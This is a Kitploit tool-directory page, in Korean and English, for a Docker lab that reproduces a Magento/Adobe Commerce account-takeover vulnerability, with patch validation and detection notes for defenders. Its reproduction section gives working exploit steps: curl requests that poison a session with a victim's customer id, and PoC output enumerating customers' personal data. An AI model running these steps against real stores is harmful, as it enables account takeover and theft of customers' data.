Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-71362-magento-lab — 고객 세션 신원 전환을 통한 Magento/Adobe Commerce 계정 탈취(CVE-2026-71362)를 재현하는 Docker 랩으로, 승인된 연구를 위한 PoC 및 공식 패치 A/B/A 대조를 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-71362-magento-lab
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHub

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
dinosn/cve-2026-71362-magento-lab

cve-2026-71362-magento-lab

고객 세션 신원 전환을 통한 Magento/Adobe Commerce 계정 탈취(CVE-2026-71362)를 재현하는 Docker 랩으로, 승인된 연구를 위한 PoC 및 공식 패치 A/B/A 대조를 포함합니다.

저장소 보기
51231개월 전아직 검토되지 않음

CVE-2026-71362 — Magento / Adobe Commerce 고객 세션 신원 전환 실습 랩

단일 명령으로 실행되는 독립형 Docker 랩으로, CVE-2026-71362를 처음부터 끝까지 재현하고 Adobe의 패치를 검증할 수 있습니다. 방어자, 연구자, 학생들이 일회용 스토어에서 실제 계정 탈취 원리를 연구할 수 있습니다.

CVECVE-2026-71362
제품Adobe Commerce · Adobe Commerce B2B · Magento Open Source
취약점 분류잘못된 권한 부여 (CWE-863) — 고객 세션 신원 전환 → 계정 탈취
심각도CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
권고Adobe APSB26-92 (2026-08-11)
영향을 받는 버전Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — -2026-jul 격리 패치 레벨 및 이전 버전
수정 버전-2026-aug 격리 패치 레벨 (패치 ID 24Xp-2026-08-001-CE)

⚠️ 승인된 사용만 허용

이 랩은 공개되고 패치된 취약점을 방어 연구 및 교육 목적으로 재현하기 위해 존재합니다. 이 랩이 생성하는 일회용 스토어에 대해서만 실행하십시오. 소유하지 않았거나 테스트에 대한 명시적인 서면 허가를 받지 않은 Magento/Adobe Commerce 인스턴스에는 사용하지 마십시오. 모든 관련 법률을 준수할 책임은 사용자에게 있습니다.


버그가 무엇인가 (30초 버전)

Magento\Customer\Controller\Account\Edit::execute()는 실패한 editPost가 세션에 남긴 원시적이고 공격자가 제어하는 customer_form_data를 DataObjectHelper::populateWithArray()에 전달합니다. 이 메서드는 일치하는 모든 키를 고객 객체에 복사하는데, 여기에는 id 도 포함됩니다. 이후 객체는 Session::setCustomerData() → setCustomerId($object->getId())로 다시 기록되며, Customer\Model\Session::getId()는 단순히 getCustomerId()를 반환하므로 customer_id를 단독으로 덮어쓰는 것만으로도 isLoggedIn()이 피해자로 true를 반환하게 됩니다. 비밀번호, 토큰 또는 소유권 확인이 없습니다. 자체 등록한 일회용 계정만 가진 공격자는 자신의 세션을 임의의 고객 ID에 다시 바인딩하고 해당 계정의 개인정보, 주문, 주소, 저장된 결제 토큰을 읽을 수 있습니다.

전체 분석: docs/ROOTCAUSE.md. 탐지 및 WAF 규칙: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

요구 사항

  • Docker + Docker Compose v2
  • 컨테이너용 여유 RAM 약 6GB, 디스크 약 5GB
  • Python 3 (PoC 실행 전용) — pip install -r exploit/requirements.txt

빌드는 공개 소스에서 Magento Open Source를 가져옵니다. Adobe Marketplace 키는 필요하지 않습니다.

빠른 시작

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

스토어프론트: http://127.0.0.1:8080/ · 관리자: http://127.0.0.1:8080/admin (admin / Admin123!). .env에서 호스트/포트를 변경하세요 (.env.example 참조). Magento는 세션 쿠키를 스토어의 기본 URL에 고정하므로 값은 반드시 탐색하는 URL과 일치해야 합니다.

예상 PoC 출력 (취약한 버전)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

패치 검증 (A/B/A 음성 대조군)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch는 patch/Edit.patched.php를 교체합니다. 이 파일은 patch/official-APSB26-92-module-customer.patch의 정확한 업스트림 변경 사항입니다. 해당 파일 하나만 켜고 끄는 것이 이 버그가 정확히 이 hunk임을 증명하는 기준(oracle)입니다.

수동 재현 (Python 없이)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

수정 방법 (실제 스토어)

자신의 브랜치에 APSB26-92 2026년 8월 격리 패치(24Xp-2026-08-001-CE)를 적용하세요. Adobe는 인증 없이 패치 레지스트리와 원본 diff를 https://repo.magento.com/patch/patch-registry.json에서 제공합니다. 이 수정 사항은 공개 GitHub에는 없습니다. 이를 위한 Composer 패키지나 git 태그는 게시되지 않았으므로 composer update로는 가져올 수 없습니다.

구조

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

문제 해결

  • PoC에 "still installing"이 출력됨 — 첫 부팅 시 Magento를 컴파일합니다. make logs를 실행하고 Install complete가 나올 때까지 기다린 다음 make wait를 실행하세요.
  • 설치 직후 모든 요청이 500 오류 — generated/ 디렉터리의 권한 경합입니다. make shell 후 php bin/magento cache:flush를 실행하세요 (보통 entrypoint가 이 작업을 처리합니다).
  • 쿠키/CSRF 이상 — 스토어의 기본 URL과 다른 호스트에 접속하고 있는 것입니다. .env의 MAGENTO_HOST/HOST_PORT를 (그리고 TARGET도) 사용하는 URL과 동일하게 유지하세요.

참고 자료

  • Adobe APSB26-92 · NVD CVE-2026-71362
  • Sansec — Adobe, 치명적인 Magento 계정 탈취 패치 (APSB26-92)
  • 공로 연구자: 0x0.eth

라이선스

MIT — LICENSE 참조. 교육 및 승인된 테스트용으로 제공되며 보증이 없습니다.

도구 다운로드